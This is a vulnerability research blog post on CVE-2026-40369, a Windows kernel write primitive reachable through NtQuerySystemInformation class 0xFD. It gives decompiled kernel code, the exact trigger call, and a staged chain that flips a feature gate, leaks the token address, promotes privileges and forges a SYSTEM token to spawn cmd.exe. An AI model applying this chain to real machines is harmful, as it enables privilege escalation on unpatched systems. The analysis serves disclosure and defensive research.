Back to Posts

CVE-2026-40369: Twelve Bytes to Escape the Browser Sandbox

Posted by: voidsec Post Date: May 20, 2026


Reading Time: 13 minutes

TL;DR: CVE-2026-40369 is an unprivileged arbitrary 12-byte kernel write primitive in nt!ExpGetProcessInformation, reachable from any context that can call NtQuerySystemInformation, including Chrome, Edge and Firefox renderer sandboxes. In this post, I dissect the root cause and how to chain the primitive into a full LPE to lift a Medium-IL non-administrator process up to NT AUTHORITY\SYSTEM via NtCreateToken.

I had originally prepared this bug for Pwn2Own Berlin. A couple of days before the contest, Ori Nimron independently dropped a public PoC for the same primitive on GitHub. Since the cat is out of the bag, I’m releasing the technical write-up and the exploitation strategy of my own chain, which takes a different route to SYSTEM than Ori’s: rather than classical token theft, it forges a SYSTEM primary token from scratch via NtCreateToken, and I think it’s worth documenting.

Pre-Requisites

To follow this end-to-end, you’ll want to be comfortable with:

  • The NtQuerySystemInformation syscall, its information classes, and the way the user-mode SystemInformation pointer is validated (or not) on the way down.
  • Hex-Rays / IDA Pro and basic Windows kernel reverse engineering. The decompile excerpts in this post come from ntoskrnl.exe on Windows 11 25H2 build 26100.8246, with ImageBase = 0x140000000.
  • The _TOKEN object layout. The field offsets I’ll touch (ModifiedId at +0x38, Privileges.Present at +0x40, Privileges.Enabled at +0x48, SessionId at +0x78) are the canonical ones for the 25H2 servicing branch; cross-reference with Vergilius when porting.
  • The WIL feature-state cache mechanism, and in particular how Feature_RestrictKernelAddressLeaks gates the kernel-pointer-leaking information classes of NtQuerySystemInformation (classes 11, 64, 66, etc.).
  • NtCreateToken and the SeCreateTokenPrivilege / SeTcbPrivilege / SeImpersonatePrivilege trio used to materialise a forged SYSTEM token without going through the classical SeDebug + OpenProcess + DuplicateTokenEx dance.

The vulnerability in a nutshell

NtQuerySystemInformation(class=0xFD) forwards a caller-controlled pointer into nt!ExpGetProcessInformation where three kernel-mode DWORD writes are performed without validating the destination when Length == 0. Because ProbeForWrite() becomes a no-op on zero-length buffers, any writable kernel virtual address can be targeted from user mode, including browser renderer sandboxes.

Call graph and code path

NtQuerySystemInformation(SystemInformationClass, SystemInformation, Length, ReturnLength)
    -> nt!NtQuerySystemInformation
         -> nt!ExpQuerySystemInformation        (probes SystemInformation, dispatches by class)
              -> nt!ExpGetProcessInformation   (process-walk worker, contains the unchecked write)

Symbol mapping for build 26100.8246 (ImageBase = 0x140000000):

  • nt!NtQuerySystemInformation: 0x140AE08A0
  • nt!ExpQuerySystemInformation: 0x140ADBB10
  • nt!ExpGetProcessInformation: 0x140ADA6D0
  • Crash site (inc dword ptr [rbx]): 0x140ADAAFE
  • nt!ProbeForWrite: 0x14017C9F0
  • nt!IoConfigurationInformation: 0x140FD7838

The unchecked write

Hex-Rays output for nt!ExpGetProcessInformation (truncated for clarity):

NTSTATUS __fastcall ExpGetProcessInformation(
        __int64 a1,         // SystemInformation pointer (caller-controlled)
        unsigned int a2,    // Length
        _DWORD *a3,         // ReturnLength out
        _DWORD *a4,         // optional session-id filter
        int a5)             // information class (5 / 57 / 148 / 252 / 253)
{
    unsigned int *v85, *v95, *v99;
    ...
    v95 = (unsigned int *)a1;
    ...
    if ( a5 == 252 ) { ...; v90 = v95; v85 = NULL; }
    else {
        v90 = NULL;
        if ( a5 == 253 ) {
            v77 = 0;
            v86 = 12;
            v71 = 12;
            v87 = 0;
            v99 = v95;          // <-- v99 is set to the caller's pointer
            v85 = NULL;
            goto LABEL_11;
        }
        ...
    }
    v99 = NULL;             // <-- only reached for non-253 paths
LABEL_11:
    ...

    /* size check: sets a status but DOES NOT return early */
    v97 = v86;
    v11 = a2 < v86;
    if ( a2 < v86 ) {
        if ( !a3 )
            return STATUS_INFO_LENGTH_MISMATCH;     /* only triggers if return-length out is NULL */
        v11 = a2 < v86;
    }
    v13 = v11 ? STATUS_INFO_LENGTH_MISMATCH : 0;    /* status latched, execution continues */

    /* access-check section: SeAccessCheck does NOT gate the write below */
    PreviousMode = KeGetCurrentThread()->PreviousMode;
    if ( a5 != 148 || (result = ExCheckFullProcessInformationAccess(PreviousMode), result >= 0) )
    {
        ...
        SeAccessCheck(SeMediumDaclSd, ...);
        ...

        /* main process-walk loop */
        NextProcess = (__int64 *)PsIdleProcess;
        while ( 1 ) {
            if ( !NextProcess ) { ...; return v70; }
            if ( !ExpSysInfoShouldSkipProcess((__int64)NextProcess)
                 && (!a4 || NextProcess != PsIdleProcess) )
            {
                SessionId = PsGetSessionId((__int64)NextProcess);
                if ( (!a4 || SessionId == *a4)
                     && PsIsProcessInSilo((struct _KPROCESS *)NextProcess, CurrentServerSilo) )
                    break;       /* fall through to the per-process body below */
            }
            NextProcess = ExGetNextProcess(NextProcess, v76, v21, v22);
        }

        if ( a5 == 253 ) {
            v25 = v99;
            ++*v99;                                                     /*  WRITE #1: [target+0] += 1 */
            v25[1] += PsGetProcessActiveThreadCount((__int64)NextProcess);  /* WRITE #2: [target+4] += threads */
            v25[2] += ObGetProcessHandleCount((struct _EX_RUNDOWN_REF *)NextProcess, 0LL);
                                                                        /*  WRITE #3: [target+8] += handles */
        }
        ...

Two facts to extract from this listing:

  1. The v99 = v95 = (unsigned int *)a1 assignment on the a5 == 253 path makes v99 an alias of the caller-controlled pointer. Nothing between this assignment and the writes validates that pointer.
  2. The size check sets v13 = STATUS_INFO_LENGTH_MISMATCH but flows through. The early return only fires when a3 (the ReturnLength pointer) is NULL, and ExpQuerySystemInformation always passes a kernel-stack local. For any standard caller, this return is unreachable. The writes happen before any of the loop’s exit branches inspect the latched status.

The unchecked dispatch

ExpQuerySystemInformation performs the ProbeForWrite at the head of the function (only when called from user mode), then runs an outer switch on the information class, then an inner switch that re-dispatches the same value:

int __fastcall ExpQuerySystemInformation(
        int a1,             /* class */
        void *a2,            /* internal pre-buffer, e.g. PrimaryGroupThread */
        unsigned int a3,     /* size of a2 */
        __int64 a4,          /* user SystemInformation pointer */
        unsigned int Length,
        _LIST_ENTRY *a6)
{
    ...
    PreviousMode = KeGetCurrentThread()->PreviousMode;
    if ( PreviousMode ) {
        switch ( a1 ) {
            case 12:                          v11 = 8;  goto LABEL_6;
            case 35: case 145: case 147:
            case 149: case 158: case 163:
            case 169: case 202: case 227:     v10 = 1; v11 = 1; break;
            default:                          v11 = 4;
LABEL_6:                                      v10 = 1; break;
        }
        ProbeForWrite((volatile void *)a4, Length, v11);    /* <-- probed here */
        ...
    }
    ...
    switch ( v179 /* class */ ) {
        ...
        default:
            goto LABEL_36;                  /* class 253 falls here */
    }
LABEL_36:
    ...
LABEL_38:
    switch ( v16 /* same class value */ ) {
        ...
        case 5u:
        case 0x39u:
        case 0x94u:
        case 0xFCu:
        case 0xFDu:
            SystemBasicInformation =
                ExpGetProcessInformation(a4, Length, &Size, NULL, v16);    /* <-- a4 forwarded as a1 */
            goto LABEL_820;
        ...
    }
}

A second call site to ExpGetProcessInformation exists later in the same function and uses a struct-embedded inner pointer that is explicitly probed:

v215 = *(volatile void **)(a4 + 8);
v213 = *(_DWORD *)(a4 + 4);
ProbeForWrite(v215, v213, 4u);
SystemBasicInformation = ExpGetProcessInformation((__int64)v215, v213, &Size, &v185, 5);

The contrast is what makes the first call site exploitable: there is no analogous probe of a4 keyed to its actual use as a write target, only the generic head-of-function probe whose Length parameter is the user’s Length, which the attacker chooses.

The probe, a no-op

nt!ProbeForWrite:

void __stdcall ProbeForWrite(volatile void *Address, SIZE_T Length, ULONG Alignment)
{
    if ( Length ) {
        if ( ((Alignment - 1) & (unsigned int)Address) != 0 )
            ExRaiseDatatypeMisalignment();

        v3 = (unsigned __int64)Address + Length - 1;
        if ( (unsigned __int64)Address > v3 || v3 >= 0x7FFFFFFF0000LL )
            ExRaiseAccessViolation();

        v4 = (volatile void *)((v3 & 0xFFFFFFFFFFFFF000uLL) + 4096);
        do {
            *(_BYTE *)Address = *(_BYTE *)Address;       /* page-touch */
            Address = (volatile void *)(((unsigned __int64)Address & 0xFFFFFFFFFFFFF000uLL) + 4096);
        }
        while ( Address != v4 );
    }
}

Three things matter here:

  1. Length == 0 returns immediately, irrespective of Address. Neither the user-VA upper-bound check nor the alignment check executes.
  2. The upper-bound check (v3 >= 0x7FFFFFFF0000LL) is the user-mode address ceiling. If Length != 0, it would reject any kernel-VA target; with Length == 0 we never reach it.
  3. The page-touch loop is the actual access-fault trigger. For Length == 0 it is skipped, so no exception is raised even when Address is unmapped or in kernel space.

Defensive layers failure

  • ProbeForWrite: Length == 0 immediate return, the address is not validated.
  • Outer switch class filter: no filter for 253; default falls into the worker dispatch.
  • Inner switch: case 0xFDu shares a block with 5 / 57 / 148 / 252 and forwards the user pointer.
  • ExCheckFullProcessInformationAccess: gated on a5 == 148; bypassed for a5 == 253.
  • SeAccessCheck against medium DACL: only sets a flag used for thread-start masking; does not gate the writes.
  • Length sanity inside the worker: sets v13 = STATUS_INFO_LENGTH_MISMATCH but does NOT exit; the loop runs anyway.
  • SMAP: irrelevant as the write is kernel-mode to a kernel address.
  • HVCI: protects code pages, not arbitrary kernel data.
  • KPP: covers a curated set of structures only; most writable data is unprotected.

Controlled write

To prove the primitive, I decided to target something where the writes were observable through a non-destructive side channel. nt!IoConfigurationInformation is the global CONFIGURATION_INFORMATION struct returned by IoGetConfigurationInformation; its first 24 bytes are also returned by NtQuerySystemInformation class 7 (SystemDeviceInformation):

case 7u:
    if ( Length == 24 ) {
        *(_DWORD *)a4      = dword_140FD7838;       /* DiskCount */
        *(_DWORD *)(a4+4)  = dword_140FD783C;       /* FloppyCount */
        *(_DWORD *)(a4+8)  = dword_140FD7840;       /* CdRomCount */
        *(_DWORD *)(a4+12) = dword_140FD7844;       /* TapeCount */
        *(_DWORD *)(a4+16) = dword_140FD784C;       /* SerialCount */
        *(_DWORD *)(a4+20) = dword_140FD7850;       /* ParallelCount */
        ...

Bumping these counters has no functional impact on the running system, as these are info consumed by user-mode tools.

Procedure:

  1. Resolve the current kernel base via kd -kl (one-shot).
  2. Read the six DWORDs via NtQuerySystemInformation(7, buf, 24, &ret).
  3. Trigger: NtQuerySystemInformation(0xFD, target, 0, &ret).
  4. Read the six DWORDs again.

Result:

PRE : +0=1   +4=0    +8=0      +12=0 +16=0 +20=0
POST: +0=311 +4=4419 +8=159307 +12=0 +16=0 +20=0

Status returned by the trigger syscall: STATUS_INFO_LENGTH_MISMATCH (0xC0000004), ReturnLength = 12.

Interpretation:

  • +0 delta = 310 = number of running processes excluding Idle and processes the worker skips via ExpSysInfoShouldSkipProcess.
  • +4 delta = 4419 = sum of PsGetProcessActiveThreadCount over those processes.
  • +8 delta = 159307 = sum of ObGetProcessHandleCount.
  • +12, +16, +20 unchanged. The write region is exactly 12 bytes wide.

The test was performed from a non-elevated process, demonstrating that the primitive does not depend on any privilege beyond Medium IL. The same syscall is reachable from inside browser renderer sandboxes (UNTRUSTED IL, Win32k lockdown, restricted token). That sandbox-escape path is outside the scope of this post; Ori Nimron’s write-up (linked in the references) covers it in detail.

Understanding the Primitive

Per single invocation of NtQuerySystemInformation(0xFD, target, 0, &ret):

  • *(DWORD*)(target + 0) += N: N = running process count (excluding Idle and a small skip-list).
  • *(DWORD*)(target + 4) += T: T = sum of PsGetProcessActiveThreadCount.
  • *(DWORD*)(target + 8) += H: H = sum of ObGetProcessHandleCount.
  • target + 12 .. unchanged.

Targeting constraints:

  • Target can sit anywhere in writable kernel virtual memory mapped at call time.
  • Target does not need to be 4-byte aligned. The three DWORD writes can span adjacent structure fields, a property the final exploit uses to land a single privilege bit in _TOKEN.Privileges.
  • Target cannot be user-mode VA, unmapped kernel VA, HVCI-protected code, or KPP-protected data.

From the primitive to LPE

A 12-byte write, with not fully controlled value increments, doesn’t look like much. The LPE chain I built around it has five phases:

Phase 1 – KASLR break

Undocumented leak, as it is not fixed yet :)

Phase 2 – Gate flip (Feature_RestrictKernelAddressLeaks)

This is, in my opinion, the most interesting bit of the chain, because it bootstraps the rest of the exploit using only this primitive itself.

On recent Windows builds, the kernel-pointer-leaking information classes of NtQuerySystemInformation (most importantly class 64 SystemExtendedHandleInformation, which would happily return our token’s kernel VA) are gated behind Feature_RestrictKernelAddressLeaks. When the gate is active, those classes return zeroed pointers. So to leak our token’s VA, the gate has to come down first.

The encoding I reverse-engineered from IsEnabledDeviceUsageNoInline‘s fast path is:

  • Low byte bit 0 = enabled.
  • Low byte bit 4 = cached.
  • Stock value at boot = 0x57 (cached + enabled + trial flags).

For the fast path to “disable” it, we need (low_byte & 0x11) == 0x10: cached set, enabled clear. Whether the new low byte lands in our target class depends on (0x57 + N) mod 256.

If we land “not cached” (bit 4 clear), the WIL fallback (wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath) re-asserts cached+enabled, and our write “disappears”.

The trick is to tune N before firing. Starting from 0x57, the smallest N satisfying (0x57 + N) & 0x11 == 0x10 is N >= 185. The chain spawns short-lived child helper processes until N is in a winning state.

Phase 3 – Token VA leak

With the gate off:

  1. Call OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &h) to obtain a handle to our own primary token.
  2. Call NtQuerySystemInformation(SystemExtendedHandleInformation = 0x40, ...). This returns an array of SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, each containing the kernel Object pointer.
  3. Walk the array and match by (UniqueProcessId == GetCurrentProcessId(), HandleValue == h). The matched entry’s Object field is our _TOKEN kernel VA.

Relevant _TOKEN field offsets are:

+0x030 TokenLock         _ERESOURCE*
+0x038 ModifiedId        LUID
+0x040 Privileges.Present     UINT64
+0x048 Privileges.Enabled     UINT64
+0x050 Privileges.EnabledByDefault UINT64
+0x078 SessionId         ULONG
+0x098 UserAndGroups     SID_AND_ATTRIBUTES*

Phase 4 – Privilege promotion

I targeted SeCreateTokenPrivilege instead of the usual SeDebug path. NtCreateToken‘s only privilege gate is SeSinglePrivilegeCheck(SeCreateTokenPrivilege), the same SepPrivilegeCheck mechanism, and it honours our bumped bits.

The chain runs a 3-step process, where each step independently waits for its bit to land on the random walk produced by repeated class-253 fires. None of the three needs to land in the same round; the cached forged token persists across rounds.

  1. SeCreateTokenPrivilege: call NtCreateToken to forge a SYSTEM primary token: User = S-1-5-18, Groups = { S-1-5-32-544, S-1-1-0, S-1-16-16384 }, every privilege LUID enabled, AuthenticationId = { 0x3e7, 0 }. Cache the handle.
  2. SeTcbPrivilege: call SetTokenInformation(forgedToken, TokenSessionId, &callerSession, 4) to realign the forged token from session 0 to the caller’s interactive session. Without this, the shell spawns, but it isn’t reachable from the user’s desktop.
  3. SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege + SeIncreaseQuotaPrivilege: call CreateProcessWithTokenW(forgedToken, cmd.exe, CREATE_NEW_CONSOLE, "winsta0\\default"), with fallback to CreateProcessAsUserW.

The per-round write pattern hits two targets and reads back the state in between:

fire(target = TOKEN+0x38)   ; [+0]+=N  -> ModifiedId.low
                            ; [+4]+=T  -> ModifiedId.high
                            ; [+8]+=H  -> Privileges.Present.low
read GetTokenInformation(TokenPrivileges) and decode bits 2, 7, 29, 3, 5
opportunisticSpawn(privStatus)
fire(target = TOKEN+0x40)   ; [+0]+=N  -> Privileges.Present.low
                            ; [+4]+=T  -> Privileges.Present.high
                            ; [+8]+=H  -> Privileges.Enabled.low
read again, opportunisticSpawn again

Each fire flips a different combination of bits in the low DWORDs of Present and Enabled (the second target adds H on top of the first target’s H + N). After a handful of rounds, the random walk has flipped enough bits that all three steps are complete.

Why not just OR the bits directly? Because inc / add propagates carry through the DWORD. Bumping Privileges.Present.low by some value sets some bits and clears others. The class-253 primitive does not give us value control, only repetition.

Phase 5 – SYSTEM shell

The chain returns immediately on the first successful shell spawn. The video below shows the full run from a Medium-IL non-admin prompt to a visible cmd.exe owned by NT AUTHORITY\SYSTEM.

Vulnerable Versions

I inspected several builds against the same ExpGetProcessInformation code path. Note that both Windows 11 24H2 and 25H2 share the kernel major build number 26100; the distinction below is by cumulative update (LCU) level, not by feature version alone. The regression was introduced in a mid-life 25H2 servicing LCU.

  • Win11 24H2 26100.1742: not vulnerable. Bug not yet introduced; writes go through a per-process advancing pointer and are gated by buffer-size checks.
  • Win11 25H2 26100.5074 through 26100.8328: vulnerable.
  • Windows Server 2025 26100.32690: vulnerable.

References

Back to Posts